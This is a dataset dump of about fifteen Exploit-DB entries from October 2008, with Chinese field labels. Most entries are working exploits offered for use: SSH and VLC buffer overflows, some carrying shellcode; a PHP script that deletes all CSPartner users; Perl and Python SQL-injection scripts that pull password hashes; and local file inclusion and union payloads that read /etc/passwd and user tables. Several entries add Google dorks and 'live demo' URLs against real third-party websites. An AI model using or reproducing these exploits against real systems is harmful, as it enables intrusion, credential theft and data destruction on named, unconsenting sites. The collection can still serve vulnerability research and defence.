QLWD/code_shield huggingface dataset:
标题: freeSSHd 1.2.1 - (Authenticated) SFTP 'realpath' Remote Buffer Overflow (PoC) EDB-ID: 6812 CVE: 2008-4762 类型: DOS 平台: WINDOWS 发布日期: 2008-10-22 漏洞利用脚本: #!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash #2 -- A Product of Fuzzing. Stay Tuned For More.
use Net::SSH2;

$host     = "192.168.0.100";
$port     = 22;
$username = "test";
$password = "test";
$dos      = "A" x 262145;

$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port)               || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$realpath = $sftp->realpath($dos);
$ssh2->disconnect();
exit;

# milw0rm.com [2008-10-22] URL: https://www.exploit-db.com/exploits/6812
标题: CSPartner 1.0 - Delete All Users / SQL Injection EDB-ID: 6814 CVE: 2008-6165 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: <?php

/*

   CSPartner 1.0 (Delete All Users/SQL Injection) Remote Exploit
   ----------------------------------------------------------------
   By StAkeR[at]hotmail[dot]it 
   http://www.easy-script.com/scripts-dl/cspartne-01.zip
   ----------------------------------------------------------------
   
   File gestion.php
   
   5. if(!empty($_POST["pseudo"]) && !empty($_POST["passe"])){
   6. $sql  = "SELECT * FROM $tblPartner where pseudo='".$_POST["pseudo"]."' AND password='".$_POST["passe"]."'";
   7. $resultat = mysql_db_query($mydbPartner, $sql);
   
   Blind SQL Injection or Login ByPass for you :P
   
   Examples: ($_POST['pseudo'] and $_POST['passe'])
   
  -1 ' or '1=1
  -2 ' or ascii(substring((select password from CSPartner where id=1),1,1))=[97]/*
  -3 and other :D
  
   
   
*/


error_reporting(0);

$host = $argv[1] or die("Usage: php [exploit.php] [http://localhost/cms]\n");

if(preg_match_all('/erase=(.+?)"/',file_get_contents($host.'/admin/index.php'),$out))
{
  for($i=0;$i<=count($out);$i++)
  {
    file_get_contents($host.'/admin/index.php?erase='.$out[1][$i]);
  }
    echo "[-] All Users Deleted\n";
}
else
{
  echo "[-] Exploit Failed!\n";
}

# milw0rm.com [2008-10-23] URL: https://www.exploit-db.com/exploits/6814
标题: Iamma Simple Gallery 1.0/2.0 - Arbitrary File Upload EDB-ID: 6803 CVE: 2008-6084 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-22 漏洞利用脚本: Found by: X0r
Iamma Simple Gallery Arbitrary File Upload
Version: 1,2 (?)
Email: evolutionteam.x0[at]gmail[dot]com
Script
Download:http://www.matteoiammarrone.com/public/modules.php?name=Downloads&d_op=getit&lid=4

Script Download
2:http://www.pierotofy.it/pages/download.php?filename=100p97q116r97s47t112a114i111f103g114h97n109o115l47m80b72c80d47e105u115v103z50p46q122r105s112t

Bug: There isn't any check for file extensions.

Exploit: http://[site]/[path]/upload.php


// X0r - EvolutionTeaM

# milw0rm.com [2008-10-22] URL: https://www.exploit-db.com/exploits/6803
标题: phpcrs 2.06 - 'importFunction' Local File Inclusion EDB-ID: 6806 CVE: 2008-6074 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-22 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
phpcrs <= 2.06 / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: phpcrs
$ Version: <= 2.06
$ File affected: frame.php
$ Download: http://sourceforge.net/projects/phpcrs/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


--Bug --

151. elseif( isset( $btnStartImport  ) ) {
152.     require("../inc/frmDoImport.inc.php");
153.   require("../inc/". $importFunction .".inc.php");
154.  require("../inc/inc/getFunctions.inc.php");
155.  $importFunction();
156.  frmDoImport( $selectedImport );
157. }


-- Exploit --

http://site.com/frame.php?btnStartImport=xxx&importFunction=../../../../../etc/passwd%00

NOTE: website only works with Firefox. To navigate you must use Firefox and to exploit 
it, you only have to change the user-agent.

# milw0rm.com [2008-10-22] URL: https://www.exploit-db.com/exploits/6806
标题: Joomla! Component ionFiles 4.4.2 - File Disclosure EDB-ID: 6809 CVE: 2008-6080 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-22 漏洞利用脚本: [o]------------------------------------------------------------------------------------[x]
 |  Arbitrary File Download Vulnerability                                               |
[o]------------------------------------------------------------------------------------[o]
 |  Software : ionFiles 4.4.2 Component for Joomla! CMS                                 |
 |  Vendor   : http://forum.codecall.net/                                               |
 |  Date     : 23 October 2008                                                          |
 |  Author   : Vrs-hCk                                                                  |
 |  Contact  : d00r[at]telkom[dot]net                                                   |
[o]------------------------------------------------------------------------------------[o]

[Â»] Google Dork

    inurl:com_ionfiles

[Â»] Vulnerable

    ./download.php
 
 Line 32: $file = $_GET['file'];
    Line 33: $download = $_GET['download'];
    Line 66 - 91

[Â»] Exploit

    http://[site]/[path]/com_ionfiles/download.php?file=[path_file]&download=1

[Â»] Proof of Concept

    http://esecutech.com/components/com_ionfiles/download.php?file=../../configuration.php&download=1
    http://esecutech.com/components/com_ionfiles/download.php?file=../../../../../../../../etc/passwd&download=1

[o]------------------------------------------------------------------------------------[x]
 |  Greetz                                                                              |
[o]------------------------------------------------------------------------------------[o]
 |  All Member oF MainHack BrotherHood - www.MainHack.com - www.ServerIsDown.org        |
 |  Jack, Darmawan, Mario, Zeth, Angela Chang, Janroe, Lukman, Didy, Anthonius,         |
 |  Daus, Rijal, Andrei, Toyong, dkk ... Indonesia Banget xixixix ... :))               |
[o]------------------------------------------------------------------------------------[o]

# milw0rm.com [2008-10-22] URL: https://www.exploit-db.com/exploits/6809
标题: LoudBlog 0.8.0a - 'ajax.php' SQL Injection EDB-ID: 6808 CVE: 2008-6077 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-22 漏洞利用脚本: #!/usr/bin/perl
# This Exploit requires a valid user name and password of an account regardless of the permissions
#
# Author: Xianur0
# Affected: All Versions
# Bug: SQL Injection
# 
# Doorks:
#  allintext: "powered by LoudBlog"


  use HTTP::Request::Common qw(POST);
  use LWP::UserAgent;
  use Digest::MD5 qw(md5_hex);
  $ua = LWP::UserAgent->new;

print "\n             LoudBlog Exploit All Version By Xianur0\n\n";
$uri = $ARGV[0];
$id = $ARGV[1];
$password = $ARGV[3] || die("\nUse: loudblog.pl [URI] [ID Admin] [Valid User] [Valid Password]\n");
$md5 = md5_hex($ARGV[2]).":".md5_hex($password);

  my $req = POST $uri.'/loudblog/ajax.php',
                [ colpick => "concat(0x557365723a20,nickname,0x0d0a50617373776f72643a20,password)", rowpick => "id", rowval => $id, table => 'authors', action => 'singleread'];
$req->header('User-Agent' => 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17');
$req->header('Cookie' => 'lbauth='.$md5);
$res = $ua->request($req);
  print $res->content."\n"; 

# milw0rm.com [2008-10-22] URL: https://www.exploit-db.com/exploits/6808
标题: freeSSHd 1.2.1 - (Authenticated) SFTP 'rename' Remote Buffer Overflow (PoC) EDB-ID: 6800 CVE: 2008-4762 类型: DOS 平台: WINDOWS 发布日期: 2008-10-22 漏洞利用脚本: #!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned.
use Net::SSH2;

$host     = "192.168.0.187";
$port     = 22;
$username = "test";
$password = "test";
$dos      = "A" x 550000;

$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port)               || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$rename = $sftp->rename($dos, "test");
$ssh2->disconnect();
exit;

# milw0rm.com [2008-10-22] URL: https://www.exploit-db.com/exploits/6800
标题: Joomla! Component Daily Message 1.0.3 - 'id' SQL Injection EDB-ID: 6802 CVE: 2008-6076 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-22 漏洞利用脚本: #############################################################################
#                           #
#      Joomla Component Daily Message (id) SQL Injection Vulnerability      #
#                           #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Daily Message (com_dailymessage)"  
[~] Version:       "1.0.3 "
[~] Date:          "10/4/2005 "
[~] Author:        "Joseph LeBlanc"
[~] Author E-mail: "contact@jlleblanc.com"
[~] Author URL:    "www.jlleblanc.com"

########################################

[~] Exploit: /index.php?option=com_dailymessage&Itemid=31&page=[PAGENAME]&id=[SQL]

[~] Example: /index.php?option=com_dailymessage&Itemid=31&page=[PAGENAME]&id=-7+union+select+concat(username,char(58),password)KHG,2,3+from+jos_users--

########################################

[~] Live Demo: http://www.drakbutiken.se/index.php?option=com_dailymessage&Itemid=31&page=faq&id=-7+union+select+concat(username,char(58),password)KHG,2,3+from+jos_users--

[~] Live Demo: http://www.drakbutiken.se/index.php?option=com_dailymessage&Itemid=31&page=drivers&id=-7+union+select+1,concat(username,char(58),password)KHG,3+from+jos_users--

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2008-10-22] URL: https://www.exploit-db.com/exploits/6802
标题: GoodTech SSH - 'SSH_FXP_OPEN' Remote Buffer Overflow EDB-ID: 6804 CVE: 2008-4726 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-22 漏洞利用脚本: # GoodTech SSH Remote Buffer Overflow Exploit
# Written by r0ut3r - writ3r [at] gmail.com
#
# SSH_FXP_OPEN command contains a buffer oveflow.
#
# All other operations are also vulnerable, opendir, unlink, etc.
#
# 0day for 2 months :)

use Net::SSH2;

my $user = "root";
my $pass = "yahh";

my $ip = "127.0.0.1";
my $port = 22;

my $ssh2 = Net::SSH2->new();

print "[+] Connecting...\n";
$ssh2->connect($ip, $port) || die "[-] Unable to connect!\n";
$ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n";
print "[+] Sending payload\n";

my $junk = 'A'x164;
my $eip = "\x49\x13\x9c\x7c"; #call esp
my $nops = "\x90"x20;

my $shellcode =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x33".
"\x2e\x9c\x0e\x83\xeb\xfc\xe2\xf4\xcf\x44\x77\x43\xdb\xd7\x63\xf1".
"\xcc\x4e\x17\x62\x17\x0a\x17\x4b\x0f\xa5\xe0\x0b\x4b\x2f\x73\x85".
"\x7c\x36\x17\x51\x13\x2f\x77\x47\xb8\x1a\x17\x0f\xdd\x1f\x5c\x97".
"\x9f\xaa\x5c\x7a\x34\xef\x56\x03\x32\xec\x77\xfa\x08\x7a\xb8\x26".
"\x46\xcb\x17\x51\x17\x2f\x77\x68\xb8\x22\xd7\x85\x6c\x32\x9d\xe5".
"\x30\x02\x17\x87\x5f\x0a\x80\x6f\xf0\x1f\x47\x6a\xb8\x6d\xac\x85".
"\x73\x22\x17\x7e\x2f\x83\x17\x4e\x3b\x70\xf4\x80\x7d\x20\x70\x5e".
"\xcc\xf8\xfa\x5d\x55\x46\xaf\x3c\x5b\x59\xef\x3c\x6c\x7a\x63\xde".
"\x5b\xe5\x71\xf2\x08\x7e\x63\xd8\x6c\xa7\x79\x68\xb2\xc3\x94\x0c".
"\x66\x44\x9e\xf1\xe3\x46\x45\x07\xc6\x83\xcb\xf1\xe5\x7d\xcf\x5d".
"\x60\x7d\xdf\x5d\x70\x7d\x63\xde\x55\x46\x8d\x52\x55\x7d\x15\xef".
"\xa6\x46\x38\x14\x43\xe9\xcb\xf1\xe5\x44\x8c\x5f\x66\xd1\x4c\x66".
"\x97\x83\xb2\xe7\x64\xd1\x4a\x5d\x66\xd1\x4c\x66\xd6\x67\x1a\x47".
"\x64\xd1\x4a\x5e\x67\x7a\xc9\xf1\xe3\xbd\xf4\xe9\x4a\xe8\xe5\x59".
"\xcc\xf8\xc9\xf1\xe3\x48\xf6\x6a\x55\x46\xff\x63\xba\xcb\xf6\x5e".
"\x6a\x07\x50\x87\xd4\x44\xd8\x87\xd1\x1f\x5c\xfd\x99\xd0\xde\x23".
"\xcd\x6c\xb0\x9d\xbe\x54\xa4\xa5\x98\x85\xf4\x7c\xcd\x9d\x8a\xf1".
"\x46\x6a\x63\xd8\x68\x79\xce\x5f\x62\x7f\xf6\x0f\x62\x7f\xc9\x5f".
"\xcc\xfe\xf4\xa3\xea\x2b\x52\x5d\xcc\xf8\xf6\xf1\xcc\x19\x63\xde".
"\xb8\x79\x60\x8d\xf7\x4a\x63\xd8\x61\xd1\x4c\x66\xdc\xe0\x7c\x6e".
"\x60\xd1\x4a\xf1\xe3\x2e\x9c\x0e";

my $payload = $junk.$eip.$nops.$shellcode;

my $sftp = $ssh2->sftp();
$sftp->open($payload);

print "[+] Sent";
$ssh2->disconnect;

# milw0rm.com [2008-10-22] URL: https://www.exploit-db.com/exploits/6804
标题: Limbo CMS - Private Messaging Component SQL Injection EDB-ID: 6796 CVE: 2008-6078 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-21 漏洞利用脚本: /*
   
   Limbo CMS (Private Messaging Component) Remote SQL Injection Vulnerability
   --------------------------------------------------------------------------
   StAkeR[at]hotmail[dot]it
   http://www.limboportal.com/index.php/option/downloads/task/download/id/108
   --------------------------------------------------------------------------

   com_privmsg/open.php
   
   31. if (isset($_GET['status']))
   32. {
   33.    header('Location:index.php?option=pms&page=open&id='.$_GET['id'].'');
   34. }
   35. 
   36. $openrow= $conn->GetRow("SELECT * FROM #__pms WHERE id='$_GET[id]' AND username='$my->username'");
   37.
   
   
   - index.php?option=pms&page=open&id='1+union+all+select+password,username+from+[prefix_users]+where+id=1/*
   
   (Syntax Error) Change number of columns (Ex: 0,0,0,username,password) 
   
   

*/

# milw0rm.com [2008-10-21] URL: https://www.exploit-db.com/exploits/6796
标题: LightBlog 9.8 - 'GET' / 'POST' / 'COOKIE' Local File Inclusion EDB-ID: 6797 CVE: 2008-6177 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-21 漏洞利用脚本: # LightBlog 9.8 (GET,POST,COOKIE) Multiple Local File Inclusion Vulnerabilies
# url: http://www.publicwarehouse.co.uk/php_scripts/lightblog.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: view_member.php
vuln code:
8: if(isset($_GET['username']) and file_exists("./accounts/".$_GET['username'].".php")){
x: ...
24: include("./accounts/{$username_get}.php");
39: }

PoC: GET view_member.php?username=[file]%00
ExP: GET view_member.php?username=../../../../../../../../../../etc/passwd%00

---

vuln file: login.php
vuln code:
18: include("./accounts/".$_POST['username_post'].".php");

PoC: POST login.php?username_post=[file]%00
ExP: POST login.php?username_post=../../../../../../../../../../etc/passwd%00

---

vuln file: check_user.php
vuln code: 
6: if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){

   $username_cookie = $_COOKIE['Lightblog_username'];
   $password_cookie = $_COOKIE['Lightblog_password'];

   if(file_exists("./accounts/{$username_cookie}.php")){
13:include("./accounts/{$username_cookie}.php");

PoC: javascript:document.cookie = "Lightblog_username=[file]%00; path=/"; document.cookie = "Lightblog_password=JosS;
     path=/";
ExP: javascript:document.cookie = "Lightblog_username=../../../../../../../../../../etc/passwd%00; path=/";
     document.cookie = "Lightblog_password=JosS; path=/";

---

and more ...
hack0wn :D

# milw0rm.com [2008-10-21] URL: https://www.exploit-db.com/exploits/6797
标题: VideoLAN VLC Media Player 0.9.4 - '.TY' Local Stack Buffer Overflow EDB-ID: 6798 CVE: 2008-4686 2008-4654 类型: LOCAL 平台: WINDOWS 发布日期: 2008-10-21 漏洞利用脚本: #!/usr/bin/perl
# 10/21/2008 k`sOSe

use warnings;
use strict;

# windows/exec - 141 bytes
# http://www.metasploit.com
my $shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x43\x3a\x5c\x57\x49\x4e\x44\x4f\x57\x53\x5c\x73\x79\x73" .
"\x74\x65\x6d\x33\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65" .
"\x00";

usage() if(!defined(@ARGV) or scalar(@ARGV) < 1 or $ARGV[0] !~ /^\d$/ or $ARGV[0] > 1);

my @targets = ( 
   "\x24\x11\x62\x77", # jmp esp @ shell32.dll - Win XP SP1 
   "\xb3\x57\x04\x7d"  # jmp esp @ shell32.dll - Win XP SP2
  );

my $junk = "\x41";

open(my $file, "> evil.mpg");
print $file "\xF5\x46\x7A\xBD" . # TIVO_PES_FILEID    
  "\x00\x00\x00\x02" . 
  "\x00\x02\x00\x00" .  # CHUNK_SIZE    
  $junk x 8 .
  "\x00\x00\x05\x41" . # i_map_size
  $junk x 4 .
  "\x00\x00\x05\x49" . # SEQ table size / (i_map_size + 8) == 1
  $junk x 60 .
  $targets[$ARGV[0]] .
  $shellcode .
  $junk x 130835 .
  "\x05" .  # i_num_recs
  $junk x 3 . 
  "\x05" .  # p_hdrs
  $junk x 1 .
  "\x09" .  # subrec_type \ 
     #  (subrec type & 0x0f) << 8 | rec_type == 0x9c0 -> AC-3 Audio (DTivo)
  "\xc0" .  # rec_type    /
  $junk x 14 .
  "\x06" .  # subrec_type \
     #             (subrec type & 0x0f) << 8 | rec_type == 0x6e0 -> Series 1 Tivo
  "\xe0" .   # rec_type    /
  $junk x 531062;


sub usage
{
 print <<EOM;
VLC Media Player TY File Stack Based Buffer Overflow Exploit
  k`sOSe - 10/21/2008
usage:
 $0 <target>

targets:
 0 - Windows XP SP1
 1 - Windows XP SP2
EOM
exit;
}

# milw0rm.com [2008-10-21] URL: https://www.exploit-db.com/exploits/6798
标题: Joomla! Component ds-syndicate - 'feed_id' SQL Injection EDB-ID: 6792 CVE: 2008-4623 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-20 漏洞利用脚本: #############################################
#Joomla com_ds-syndicate Sql-injetion vulnerability #
#############################################
#[~] Author :  boom3rang 
#[~] HomePage: www.khg-crew.ws
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er.
#[~] Kosova Hackers Group 

#[!] Component_Name:  ds-syndicate
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_ds-syndicate"
#############################################


#[~] Exp:           http://localhost/Path/index2.php?option=ds-syndicate&version=1&feed_id=[Exploit]

#[~] Exploit [1]:        1+union+all+select+1,concat(username,char(58),password,char(58),email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+jos_users--    

#[~] Exploit [2]:    
 1+union+all+select+1,concat(username,char(58),password,char(58),email),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--  

#[!] Note:
If you get some file to download like feed or xml, download that file and open with some text editor to see informations like username and password, but first try exploits whithout downloding the file ;).

#[~] liveDemo: 
http://www.esss.se/sv/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,concat(username,char(58),password,char(58),email),3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20+from+jos_users--

ps. here in this liveDemo you need to download file  =feed1= .

#############################################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
#############################################


# milw0rm.com [2008-10-20] URL: https://www.exploit-db.com/exploits/6792
标题: XOOPS Module makale 0.26 - SQL Injection EDB-ID: 6795 CVE: 2008-4653 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-20 漏洞利用脚本: ##########################################
#
# XOOPS Module:  makale
#
#
##########################################
#
##AUTHOR : EcHoLL
####HOME : http://www.warezturk.org
#
####MAÄ°L : echoll1983@hotmail.com
#
###########################################
#
# DORKS 1 : dork: /modules/makale/
###########################################
 
target: scriptpage.com/modules/makale/makale.php?id= [sql Code]
 
Sql code: 15+UNION+SELECT+0,1,2,3,uname,5,pass,7,8,9,10,11,12,13,14,15,16,17,18,19+from+xoops_users--
 
live link: http://stu.inonu.edu.tr/~usit/modules/makale/makale.php?id=10+UNION+SELECT+0,1,2,3,database(),5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19--

# milw0rm.com [2008-10-20] URL: https://www.exploit-db.com/exploits/6795
标题: Yappa-ng 2.3.3-beta0 - 'album' Local File Inclusion EDB-ID: 6788 CVE: 2008-4626 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-19 漏洞利用脚本: [o]------------------------------------------------------------------------------------[x]
 |  Local File Include Vulnerability                                                    |
[o]------------------------------------------------------------------------------------[o]
 |  Software : yappa-ng Version 2.3.2                                                   |
 |  Vendor   : http://www.zirkon.at/zirkon/scripts/yappa-ng/yappa-ng_main_eng.html      |
 |  Date     : 19 October 2008                                                          |
 |  Author   : Vrs-hCk                                                                  |
 |  Contact  : d00r[at]telkom[dot]net                                                   |
[o]------------------------------------------------------------------------------------[o]

[Â»] Google Dork

    "Powered by yappa-ng 2.3.2"

[Â»] Exploit

    http://[site]/[yappa-ng-path]/index.php?album=[LFI]%00

[Â»] Proof of Concept

    http://www.zirkon.at/yappa-ng_demo/index.php?album=[LFI]%00

[o]------------------------------------------------------------------------------------[x]
 |  Greetz                                                                              |
[o]------------------------------------------------------------------------------------[o]
 |  All Member oF MainHack BrotherHood - www.MainHack.com - www.ServerIsDown.org        |
 |  Paman, OoN_Boy, NoGe, Fluzy, H312Y, s3t4n, NgL, ScanneD, }^-^{, eminem,             |
 |  loqsa, pizzyroot, xx_user, ^Bradley, ayulina, MaDOnk, nTc, dkk ...                  |
 |  c0li.m0de.0n & BeHave oR BeGone !!!                                                 |
[o]------------------------------------------------------------------------------------[o]

# milw0rm.com [2008-10-19] URL: https://www.exploit-db.com/exploits/6788
标题: WBB Plugin rGallery 1.09 - 'itemID' Blind SQL Injection EDB-ID: 6790 CVE: 2008-4627 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-20 漏洞利用脚本: import sys, urllib2, re

print "\n "
print "                          \\#'#/                        "
print "                          (-.-)                         "
print "  -------------------oOO---(_)---OOo--------------------"
print "  |   rGallery 1.09 (+-) Exploit by Five-Three-Nine    |"
print "  |  Using Blind SQL Injection in 'itemID' of rGallery |"
print "  |                                                    |"
print "  |                Greets and Shouts to:               |"
print "  | tmh, n00bor, activebeta, Ghost, Saufkumpel, Altair |"  
print "  | crusader727, Nemo, Loader007, J0hn.X3r, sNiper109  |"                                      
print "  ------------------------------------------------------\n"


if len(sys.argv) != 5:
 print "\nUsage: ./rGallery.py <UserID> <UserTable> <ImageID> <site>"
 print "Ex: ./rGallery.py 1 bb1_users 19 http://example.com\n"
 sys.exit(1)

UserID = sys.argv[1]
Prefix = sys.argv[2]
ImageID = sys.argv[3]
Host = sys.argv[4]

Res = [48,49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102]
MD5 = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32]
Hash = ""

UserID = int(UserID)
UserID -= 1
UserID = str(UserID)

for MD5Count in range(32):
 for ResCount in range(16):
  try:
   source = urllib2.urlopen(Host +"/index.php?page=RGalleryImageWrapper&itemID=" + ImageID +"%20and%20ascii(substring((SELECT%20password%20from%20" + Prefix +"%20limit%20"+ UserID + ",1)," + str(MD5Count + 1) + ",1))="+ str(Res[ResCount])).read()
   
   print "[+] Character " + str(MD5Count + 1) +  " found! " + str(Res[ResCount])
   MD5[MD5Count] = Res[ResCount]
   break
  except(urllib2.URLError):
   continue 
  except(urllib2.HTTPError):
   print "[+] Error: Can't load the Site"
   sys.exit(1)


for i in MD5:
 Hash = Hash + str(chr(i))
 
print "\n[+] Hash: " + Hash

# milw0rm.com [2008-10-20] URL: https://www.exploit-db.com/exploits/6790